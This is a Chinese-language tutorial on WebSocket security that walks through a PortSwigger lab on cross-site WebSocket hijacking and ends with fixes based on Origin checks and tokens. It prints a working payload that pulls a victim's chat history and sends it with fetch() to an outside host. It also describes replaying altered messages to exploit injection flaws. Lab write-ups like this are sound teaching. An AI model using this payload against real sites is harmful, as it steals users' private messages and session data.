WebSocket 是HTML5一種新的網(wǎng)絡(luò)傳輸協(xié)議，位于 OSI 模型的應(yīng)用層，可在單個(gè)TCP連接上進(jìn)行全雙工通信。WebSocket 建議于 TCP 協(xié)議之上，與 HTTP 協(xié)議有良好的兼容性。協(xié)議標(biāo)識(shí)符是ws；如果加密，則為wss。

HTTP協(xié)議時(shí)請(qǐng)求-響應(yīng)式的，一般是一個(gè)請(qǐng)求建立一次握手，在HTTP1.1版本開(kāi)始，TCP連接可別復(fù)用。

HTTP協(xié)議只能由客戶(hù)端發(fā)送信息到服務(wù)端，服務(wù)端做出響應(yīng)。

(相關(guān)資料圖)

WebSocket通信是雙向的，既可以由客戶(hù)端發(fā)送信息，到服務(wù)端。也可以有服務(wù)端發(fā)送信息到客戶(hù)端。

websocket通常是由客戶(hù)端JavaScript腳本創(chuàng)建

var ws = new WebSocket("wss://normal-website.com/chat");

為了建立連接，會(huì)通過(guò)HTTP協(xié)議發(fā)送一個(gè)請(qǐng)求，告訴服務(wù)器接下來(lái)要使用websocket進(jìn)行通信，如果服務(wù)器同意請(qǐng)求，接下來(lái)就會(huì)進(jìn)行三次握手。

1686294004_6482cdf4d2e772119d075.png!small?1686294005590

WebSocket 握手消息的幾個(gè)特性值得注意：

請(qǐng)求和響應(yīng)中 的Connection和Upgrade標(biāo)頭表明這是一次 WebSocket 握手。

Sec-WebSocket-Version請(qǐng)求頭指定WebSocket協(xié)議版本的客戶(hù)端希望使用。通常是13.

Sec-WebSocket-Key請(qǐng)求報(bào)頭包含Base64編碼的隨機(jī)值，這應(yīng)該在每個(gè)握手請(qǐng)求是隨機(jī)產(chǎn)生的。并不是用于身份認(rèn)證的。

Sec-WebSocket-Accept響應(yīng)報(bào)頭包含在提交的值的散列Sec-WebSocket-Key請(qǐng)求頭，具有在協(xié)議規(guī)范中定義的特定的字符串串聯(lián)。這樣做是為了防止錯(cuò)誤配置的服務(wù)器或緩存代理導(dǎo)致誤導(dǎo)性響應(yīng)。

三次握手以后表示建立了客戶(hù)端與服務(wù)端建立websocket連接，可以通過(guò)websocket協(xié)議進(jìn)行通信。

ws.send("hello websocket");

由于TCP協(xié)議是復(fù)用的，所以可以通過(guò)一次連接，發(fā)送多個(gè)信息。

1686294062_6482ce2ed13a9aa6a4f99.png!small?1686294063448

原則上，WebSocket 消息可以包含任何內(nèi)容或數(shù)據(jù)格式。在現(xiàn)代應(yīng)用程序中，通常使用 JSON 在 WebSocket 消息中發(fā)送結(jié)構(gòu)化數(shù)據(jù)。

基于WebSocket全雙工、延遲的特性，應(yīng)用場(chǎng)景比較廣泛。

websocket僅僅是web程序中的一種通信協(xié)議，并不會(huì)解決web應(yīng)用中存在的安全問(wèn)題。因此在HTTP協(xié)議中出現(xiàn)的安全問(wèn)題在websocket中都可能出現(xiàn)。

目前對(duì)于HTTP協(xié)議的漏洞已經(jīng)很少了，可以去看看websocket協(xié)議的，說(shuō)不定會(huì)有意想不到的發(fā)現(xiàn)。

WebSocket中，用戶(hù)輸入可控的請(qǐng)求數(shù)據(jù)，數(shù)據(jù)被服務(wù)端進(jìn)行處理，如果沒(méi)有進(jìn)行有限的校驗(yàn)，可能出現(xiàn)常見(jiàn)的Web漏洞，如XSS、SQL Inject、RCE等。

如下圖，正常發(fā)送會(huì)發(fā)現(xiàn)進(jìn)行編碼

1686294500_6482cfe4560a520b4223c.png!small?1686294501018

可以直接抓包重放，改變值，成功利用。實(shí)際上跟http協(xié)議沒(méi)有什么區(qū)別。

1686294509_6482cfed974210c835d07.png!small?1686294510349

認(rèn)證

websocket協(xié)議沒(méi)有規(guī)定在服務(wù)器在握手階段應(yīng)該如何認(rèn)證客戶(hù)端身份。服務(wù)器可以采用任何 HTTP 服務(wù)器的客戶(hù)端身份認(rèn)證機(jī)制，如 cookie認(rèn)證，HTTP 基礎(chǔ)認(rèn)證，TLS 身份認(rèn)證等。

因此，認(rèn)證實(shí)現(xiàn)方面的安全問(wèn)題與基于HTTP的Web認(rèn)證并無(wú)區(qū)別。

如CVE-2015-0201，Spring框架的Java SockJS客戶(hù)端生成可預(yù)測(cè)的會(huì)話(huà)ID，攻擊者可利用該漏洞向其他會(huì)話(huà)發(fā)送消息

授權(quán)

WebSocket 協(xié)議依然沒(méi)有指定任何授權(quán)方式，因此關(guān)于權(quán)限的相關(guān)策略依然得依賴(lài)開(kāi)發(fā)者在服務(wù)端實(shí)現(xiàn)，這就說(shuō)明通過(guò)websocket協(xié)議與傳統(tǒng)的http協(xié)議面臨相同的安全風(fēng)險(xiǎn)，如垂直越權(quán)和水平越權(quán)。

該漏洞全稱(chēng)叫做Cross-site WebSocket Hijacking，跨站點(diǎn)WebSocket劫持漏洞。當(dāng)WebSocket握手請(qǐng)求僅依靠HTTP cookie進(jìn)行會(huì)話(huà)處理并且不包含任何CSRF token或其他不可預(yù)測(cè)的值時(shí)，就會(huì)出現(xiàn)這種漏洞。

判斷websocket中是否存在跨域問(wèn)題

檢查應(yīng)用程序執(zhí)行的WebSocket握手過(guò)程是否針對(duì)CSRF進(jìn)行了保護(hù)。除了在cookie中該消息不依賴(lài)其它的值進(jìn)行會(huì)話(huà)處理。如下面的請(qǐng)求僅僅依靠session token來(lái)進(jìn)行會(huì)話(huà)處理，那么就會(huì)存在這種漏洞。

1686294535_6482d00739e9ede4566c2.png!small?1686294536047

通過(guò)portSwigger的靶場(chǎng)進(jìn)行復(fù)現(xiàn)

Lab: Cross-site WebSocket hijacking

在live chat中首先驗(yàn)證websocket是否存在csrf。可以看到僅僅依靠cookie來(lái)進(jìn)行會(huì)話(huà)處理，說(shuō)明存在漏洞

1686294558_6482d01e0724a95846cbd.png!small?1686294558694

在確認(rèn)存在這個(gè)漏洞以后，我們就要去編寫(xiě)我們的payload，首先我們發(fā)現(xiàn)在建立websocket連接以后，發(fā)送READY字符串，服務(wù)端就會(huì)把歷史聊天記錄返回，那么我們就通過(guò)這種方式去利用。

1686294563_6482d023a161e00440e69.png!small?1686294564415

首先通過(guò)new websocket與服務(wù)端建立連接，然后通過(guò)ws.send("READY")像服務(wù)端發(fā)送READY。當(dāng)服務(wù)端收到READY字符串時(shí)，就會(huì)把歷史的聊天記錄返回回來(lái)。這個(gè)js收到歷史記錄以后就可以訪(fǎng)問(wèn)burp的collaborator并帶著敏感數(shù)據(jù)。

payload如下：

<script>// Create WebSocket connection.var ws = new WebSocket("wss://web-security-academy.net/chat");// Connection openedws.addEventListener("open", function (event) {ws.send("READY");});// Listen for messagesws.onmessage = function(event) {fetch("https://you-site.net/?log"+event.data, {mode: "no-cors"})};</script>

在portSwigger的exploit server中設(shè)置自己的payload

1686294605_6482d04dba51aab951f35.png!small?1686294606435

設(shè)置好payload，然后讓登錄的瀏覽器去訪(fǎng)問(wèn)。在這個(gè)靶場(chǎng)也就是點(diǎn)擊Deliver exploit to victim

1686294621_6482d05d0608dbe4d74c2.png!small?1686294621581

然后再burp上就可以看到信息

1686294630_6482d0667a6b0b8527711.png!small?1686294631105

這種漏洞的一種修復(fù)方式就是在服務(wù)端驗(yàn)證Origin頭，如果客戶(hù)端發(fā)來(lái)的 Origin 信息來(lái)自不同域，服務(wù)器端可以拒絕該請(qǐng)求。但是僅僅檢查 Origin 仍然是不夠安全的，惡意網(wǎng)頁(yè)可以偽造Origin頭信息，繞過(guò)服務(wù)端對(duì)Origin頭的檢查，更完善的解決方案可以借鑒CSRF的解決方案-令牌機(jī)制。

https://www.freebuf.com/articles/web/336291.html

https://security.tencent.com/index.php/blog/msg/119

https://freebuf.com/vuls/328279.html

關(guān)鍵詞：